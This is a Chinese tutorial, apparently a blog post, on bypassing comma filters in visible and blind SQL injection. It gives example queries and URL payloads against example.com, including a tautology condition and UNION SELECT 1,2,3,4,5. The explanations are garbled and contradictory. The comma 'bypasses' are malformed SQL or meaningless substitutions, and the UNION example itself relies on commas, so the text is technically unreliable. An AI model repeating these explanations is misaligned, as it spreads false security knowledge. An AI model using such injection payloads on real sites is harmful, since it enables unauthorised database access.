SQL注入技巧之显注与盲注中过滤逗号绕过详析
SQL注入攻击是指攻击者通过在Web应用程序中插入恶意的SQL查询语句,以欺骗Web应用程序执行非预期的行为。SQL注入技巧中,逗号是经常被过滤的一个字符,因为逗号在SQL语句中通常用作分隔符。在本文中,我们将深入探讨SQL注入攻击中绕过逗号过滤的技巧。
显注中的逗号绕过
显注是指攻击者向Web应用程序中插入的恶意SQL语句会直接被Web应用程序解释和执行的情况。在显注攻击中,逗号可以被用作分隔符来分隔多个参数。而当逗号被过滤后,攻击者可以使用以下技巧来绕过过滤:
使用空格代替逗号
攻击者可以使用空格来代替逗号,以绕过逗号过滤。例如,以下的SQL语句会被过滤掉:
SELECT * FROM users WHERE name='admin' AND passwd='123456' AND age>20;
如果我们尝试在age后面加上一个逗号,例如:
SELECT * FROM users WHERE name='admin' AND passwd='123456' AND age>,20; -- 这里的逗号被过滤掉了
那么我们可以使用空格代替逗号,使Web应用程序不会将age和20当成两个不同的参数:
SELECT * FROM users WHERE name='admin' AND passwd='123456' AND age> 20; -- 使用空格代替逗号
使用括号绕过
括号也可以被用作逗号的替代品,以绕过逗号过滤。例如,以下的SQL语句会被过滤掉:
SELECT * FROM users WHERE name='admin' AND passwd='123456' AND age>20;
如果我们尝试在age后面加上一个逗号,例如:
SELECT * FROM users WHERE name='admin' AND passwd='123456' AND age>,20; -- 这里的逗号被过滤掉了
那么我们可以使用括号将逗号包裹起来,使Web应用程序不会将age和20当成两个不同的参数:
SELECT * FROM users WHERE name='admin' AND passwd='123456' AND age>(20); -- 使用括号绕过
盲注中的逗号绕过
盲注是指攻击者的恶意SQL语句不会直接被Web应用程序解释和执行,但攻击者可以通过其他的方式来判断自己注入的SQL语句是否生效。在盲注攻击中,逗号通常会被用作分隔符来分隔多个参数。而当逗号被过滤后,攻击者可以使用以下技巧来绕过过滤:
使用REPLACE函数
攻击者可以使用MySQL中的REPLACE函数来将逗号替换成其他字符,以绕过逗号过滤。例如,以下的SQL语句会被过滤掉:
SELECT * FROM users WHERE name='admin' AND passwd='123456';
如果我们尝试在passwd后面加上一个逗号,例如:
SELECT * FROM users WHERE name='admin' AND passwd='123456',;
那么可以使用REPLACE函数将逗号替换成其他字符,而不会影响SQL语句的结构:
SELECT * FROM users WHERE name='admin' AND passwd='123456'+REPLACE(',', ';', @@VERSION); -- 使用REPLACE函数替换逗号
在上面的SQL语句中,@@VERSION函数返回数据库版本字符串,攻击者可以使用该函数检查SQL注入攻击是否成功。
使用UNION SELECT语句
攻击者可以使用UNION SELECT语句将另一个查询的结果合并到原来的查询中,以绕过逗号过滤。例如,以下的SQL语句会被过滤掉:
SELECT * FROM users WHERE name='admin' AND passwd='123456';
如果我们尝试在passwd后面加上一个逗号,例如:
SELECT * FROM users WHERE name='admin' AND passwd='123456',;
那么可以使用UNION SELECT语句将另一个查询的结果合并到原来的查询中,例如:
SELECT * FROM users WHERE name='admin' AND passwd='123456' UNION SELECT 1,2,3,4,5;
在上面的SQL语句中,我们将一个SELECT查询的结果合并到原查询中,并在合并的结果中添加了五个数字。攻击者可以使用这种方式来检查SQL注入攻击是否成功。
示例
以下是一个基于以上技巧的SQL注入攻击示例:
假设我们有一个Web应用程序,其查询URL为:
http://example.com/search.php?keyword=apple,orange&sort=price
在这个URL中,我们可以看到关键字被用逗号分隔,并且关键字和排序方式都是作为参数传递给search.php页面的。我们可以插入一个恶意的SQL查询语句来尝试注入该应用程序。首先,我们可以尝试使用空格绕过逗号过滤来创建以下的SQL查询:
http://example.com/search.php?keyword=apple%20orange' AND '1'='1&sort=price
在这个SQL查询中,我们使用空格代替逗号,并且注入了一个永远返回TRUE的条件,使查询返回所有的结果。如果Web应用程序没有对逗号进行过滤,那么这个攻击将会成功。
如果Web应用程序已经对逗号进行了过滤,那么我们可以尝试使用UNION SELECT语句来绕过过滤。例如:
http://example.com/search.php?keyword=apple' UNION SELECT 1,2,3,4,5&sort=price
在这个SQL查询中,我们将一个SELECT查询的结果合并到原查询中,并在合并的结果中添加了五个数字。如果Web应用程序没有对逗号进行过滤,那么这个攻击将会成功。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:SQL注入技巧之显注与盲注中过滤逗号绕过详析 - Python技术站